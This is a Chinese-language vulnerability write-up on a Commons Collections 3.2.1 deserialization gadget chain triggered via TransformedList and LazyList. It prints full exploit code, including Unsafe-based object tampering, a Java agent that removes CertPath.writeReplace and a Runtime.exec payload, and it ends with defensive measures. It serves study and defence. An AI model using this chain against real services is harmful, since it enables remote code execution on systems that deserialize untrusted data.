java反序列化漏洞commons-collections3.2.1TransformedList触发transform
字数 1479 2025-08-22 22:47:30

Apache Commons Collections 反序列化漏洞分析 (TransformedList 触发链)

漏洞概述

本文详细分析 Apache Commons Collections 3.2.1 版本中通过 TransformedList 触发的反序列化漏洞利用链。该漏洞允许攻击者通过精心构造的序列化数据在目标系统上执行任意代码。

环境要求

  • JDK 版本: 1.8.0_162
  • Commons Collections 版本: 3.2.1

关键类分析

1. 核心类说明

Commons Collections 相关类:

  • TransformedList: 装饰器模式实现的 List,在元素被添加时会自动调用 transform 方法
  • LazyList: 懒加载 List,当访问不存在的元素时会通过 Factory 创建新元素
  • ChainedTransformer: 将多个 Transformer 串联执行
  • ConstantFactory: 总是返回固定对象的 Factory
  • InvokerTransformer: 通过反射调用指定方法的 Transformer

Java 原生类:

  • EventListenerList: Swing 事件监听器列表
  • UndoManager: Swing 撤销管理器
  • CodeSigner: 代码签名类
  • X509CertPath: X509 证书路径类
  • Unsafe: JDK 内部类,用于直接内存操作

漏洞利用链分析

完整调用链

EventListenerList.toString() 
→ UndoManager.toString() 
→ Vector.toString() 
→ CodeSigner.toString() 
→ CertPath.getCertificates().get(0) 
→ LazyList.get(0) 
→ ConstantFactory.create() 
→ ChainedTransformer.transform() 
→ InvokerTransformer.transform()
→ Runtime.exec()

关键步骤解析

  1. 触发点选择:

    • 选择 EventListenerList 作为入口点,因为它在反序列化时会调用 toString() 方法
    • EventListenerList 内部包含 UndoManagerUndoManager 包含 Vector 对象
  2. 利用 Unsafe 绕过限制:

    • 使用 Unsafe 类直接操作内存,绕过构造函数限制
    • 修改 CertPathcerts 字段为恶意构造的 LazyList
    • 修改 CodeSignersignerCertPath 字段为恶意的 CertPath 对象
  3. CertPath 处理:

    • CertPath 默认有 writeReplace 方法,会阻止序列化
    • 使用 Java Agent 技术动态修改 CertPath 类,移除 writeReplace 方法
  4. Transformer 链构造:

    Transformer[] transformers = new Transformer[]{
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod", 
            new Class[]{String.class, Class[].class}, 
            new Object[]{"getRuntime", null}),
        new InvokerTransformer("invoke", 
            new Class[]{Object.class, Object[].class}, 
            new Object[]{null, null}),
        new InvokerTransformer("exec", 
            new Class[]{String.class}, 
            new Object[]{"calc"})
    };
    ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
    
  5. 恶意 List 构造:

    ArrayList<Object> list = new ArrayList<>();
    list.add(null);
    List decorate1 = TransformedList.decorate(list, chainedTransformer);
    List decorate = LazyList.decorate(decorate1, new ConstantFactory(chainedTransformer));
    

完整利用代码

package com.web;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantFactory;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.list.LazyList;
import org.apache.commons.collections.list.TransformedList;
import org.apache.commons.collections.map.ListOrderedMap;
import sun.misc.Unsafe;
import sun.security.provider.certpath.X509CertPath;
import javax.swing.event.EventListenerList;
import javax.swing.undo.UndoManager;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.security.CodeSigner;
import java.util.*;

public class ccExp {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", 
                new Class[]{String.class, Class[].class}, 
                new Object[]{"getRuntime", null}),
            new InvokerTransformer("invoke", 
                new Class[]{Object.class, Object[].class}, 
                new Object[]{null, null}),
            new InvokerTransformer("exec", 
                new Class[]{String.class}, 
                new Object[]{"calc"})
        };
        
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        
        ArrayList<Object> list = new ArrayList<>();
        list.add(null);
        List decorate1 = TransformedList.decorate(list, chainedTransformer);
        List decorate = LazyList.decorate(decorate1, new ConstantFactory(chainedTransformer));
        
        HashMap<Object, Object> map = new HashMap<>();
        ListOrderedMap decorated = (ListOrderedMap) ListOrderedMap.decorate(map);
        
        Field field = Unsafe.class.getDeclaredField("theUnsafe");
        field.setAccessible(true);
        Unsafe unsafe = (Unsafe) field.get((Object) null);
        
        unsafe.putObject(decorated, 
            unsafe.objectFieldOffset(ListOrderedMap.class.getDeclaredField("insertOrder")), 
            decorate);
        
        X509CertPath o = (X509CertPath) unsafe.allocateInstance(X509CertPath.class);
        unsafe.putObject(o, 
            unsafe.objectFieldOffset(X509CertPath.class.getDeclaredField("certs")), 
            decorate);
        
        Object o1 = unsafe.allocateInstance(CodeSigner.class);
        unsafe.putObject(o1, 
            unsafe.objectFieldOffset(CodeSigner.class.getDeclaredField("signerCertPath")), 
            o);
        
        EventListenerList list2 = new EventListenerList();
        UndoManager manager = new UndoManager();
        Vector vector = (Vector) getFieldValue(manager, "edits");
        vector.add(o1);
        
        unsafe.putObject(list2, 
            unsafe.objectFieldOffset(list2.getClass().getDeclaredField("listenerList")), 
            new Object[]{InternalError.class, manager});
        
        ByteArrayOutputStream bao = new ByteArrayOutputStream();
        new ObjectOutputStream(bao).writeObject(list2);
        System.out.println(Base64.getEncoder().encodeToString(bao.toByteArray()));
        
        ByteArrayInputStream bin = new ByteArrayInputStream(bao.toByteArray());
        new ObjectInputStream(bin).readObject();
    }
    
    public static Object getFieldValue(Object obj, String fieldName) throws Exception {
        Field field = getField(obj.getClass(), fieldName);
        return field.get(obj);
    }
    
    public static Field getField(Class<?> clazz, String fieldName) {
        Field field = null;
        try {
            field = clazz.getDeclaredField(fieldName);
            field.setAccessible(true);
        } catch (NoSuchFieldException var4) {
            if (clazz.getSuperclass() != null) {
                field = getField(clazz.getSuperclass(), fieldName);
            }
        }
        return field;
    }
}

Java Agent 处理 CertPath

package com.n1ght;

import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain;
import java.security.cert.CertPath;

public class RemoveReplaceTransformer implements ClassFileTransformer {
    @Override
    public byte[] transform(ClassLoader loader, String className, 
            Class<?> classBeingRedefined, ProtectionDomain protectionDomain, 
            byte[] classfileBuffer) throws IllegalClassFormatException {
        if (className.equals("java/security/cert/CertPath")) {
            try {
                System.out.println(true);
                ClassPool pool = ClassPool.getDefault();
                CtClass ctClass = pool.get("java.security.cert.CertPath");
                CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");
                ctClass.removeMethod(writeReplace);
                ctClass.detach();
                return ctClass.toBytecode();
            } catch (Exception e) {
                System.out.println(e);;
            }
        }
        return classfileBuffer;
    }
}

防御措施

  1. 升级 Commons Collections:

    • 升级到 3.2.2 或更高版本,这些版本修复了反序列化漏洞
  2. JVM 层面防护:

    • 使用 SerialKiller 等工具过滤恶意序列化数据
    • 配置 ObjectInputFilter 限制反序列化的类
  3. 代码层面防护:

    • 避免反序列化不可信数据
    • 对必须反序列化的场景,实现自定义的 ObjectInputStream 并重写 resolveClass 方法进行校验

总结

本文详细分析了 Commons Collections 3.2.1 中通过 TransformedList 触发的反序列化漏洞利用链,展示了如何构造恶意对象、使用 Unsafe 绕过限制、处理 CertPath 的序列化问题,并提供了完整的利用代码。理解这些技术细节有助于更好地防御此类漏洞。

Apache Commons Collections 反序列化漏洞分析 (TransformedList 触发链) 漏洞概述 本文详细分析 Apache Commons Collections 3.2.1 版本中通过 TransformedList 触发的反序列化漏洞利用链。该漏洞允许攻击者通过精心构造的序列化数据在目标系统上执行任意代码。 环境要求 JDK 版本: 1.8.0_ 162 Commons Collections 版本: 3.2.1 关键类分析 1. 核心类说明 Commons Collections 相关类: TransformedList : 装饰器模式实现的 List,在元素被添加时会自动调用 transform 方法 LazyList : 懒加载 List,当访问不存在的元素时会通过 Factory 创建新元素 ChainedTransformer : 将多个 Transformer 串联执行 ConstantFactory : 总是返回固定对象的 Factory InvokerTransformer : 通过反射调用指定方法的 Transformer Java 原生类: EventListenerList : Swing 事件监听器列表 UndoManager : Swing 撤销管理器 CodeSigner : 代码签名类 X509CertPath : X509 证书路径类 Unsafe : JDK 内部类,用于直接内存操作 漏洞利用链分析 完整调用链 关键步骤解析 触发点选择 : 选择 EventListenerList 作为入口点,因为它在反序列化时会调用 toString() 方法 EventListenerList 内部包含 UndoManager , UndoManager 包含 Vector 对象 利用 Unsafe 绕过限制 : 使用 Unsafe 类直接操作内存,绕过构造函数限制 修改 CertPath 的 certs 字段为恶意构造的 LazyList 修改 CodeSigner 的 signerCertPath 字段为恶意的 CertPath 对象 CertPath 处理 : CertPath 默认有 writeReplace 方法,会阻止序列化 使用 Java Agent 技术动态修改 CertPath 类,移除 writeReplace 方法 Transformer 链构造 : 恶意 List 构造 : 完整利用代码 Java Agent 处理 CertPath 防御措施 升级 Commons Collections : 升级到 3.2.2 或更高版本,这些版本修复了反序列化漏洞 JVM 层面防护 : 使用 SerialKiller 等工具过滤恶意序列化数据 配置 ObjectInputFilter 限制反序列化的类 代码层面防护 : 避免反序列化不可信数据 对必须反序列化的场景,实现自定义的 ObjectInputStream 并重写 resolveClass 方法进行校验 总结 本文详细分析了 Commons Collections 3.2.1 中通过 TransformedList 触发的反序列化漏洞利用链,展示了如何构造恶意对象、使用 Unsafe 绕过限制、处理 CertPath 的序列化问题,并提供了完整的利用代码。理解这些技术细节有助于更好地防御此类漏洞。